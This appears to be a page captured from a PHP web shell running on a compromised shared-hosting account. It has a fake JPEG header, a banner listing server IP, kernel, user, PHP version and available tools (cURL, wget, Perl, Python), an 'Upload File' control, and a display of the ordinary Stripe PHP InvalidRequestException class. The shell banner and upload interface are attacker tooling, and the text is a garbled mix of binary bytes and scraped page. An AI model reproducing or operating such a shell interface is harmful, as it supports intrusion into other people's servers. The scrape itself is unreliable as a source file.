����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 3.22.66.60 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/bofirmacademy.com/vendor/stripe/stripe-php/lib/Exception/ |
Upload File : |
<?php namespace Stripe\Exception; /** * InvalidRequestException is thrown when a request is initiated with invalid * parameters. */ class InvalidRequestException extends ApiErrorException { protected $stripeParam; /** * Creates a new InvalidRequestException exception. * * @param string $message the exception message * @param null|int $httpStatus the HTTP status code * @param null|string $httpBody the HTTP body as a string * @param null|array $jsonBody the JSON deserialized body * @param null|array|\Stripe\Util\CaseInsensitiveArray $httpHeaders the HTTP headers array * @param null|string $stripeCode the Stripe error code * @param null|string $stripeParam the parameter related to the error * * @return InvalidRequestException */ public static function factory( $message, $httpStatus = null, $httpBody = null, $jsonBody = null, $httpHeaders = null, $stripeCode = null, $stripeParam = null ) { $instance = parent::factory($message, $httpStatus, $httpBody, $jsonBody, $httpHeaders, $stripeCode); $instance->setStripeParam($stripeParam); return $instance; } /** * Gets the parameter related to the error. * * @return null|string */ public function getStripeParam() { return $this->stripeParam; } /** * Sets the parameter related to the error. * * @param null|string $stripeParam */ public function setStripeParam($stripeParam) { $this->stripeParam = $stripeParam; } }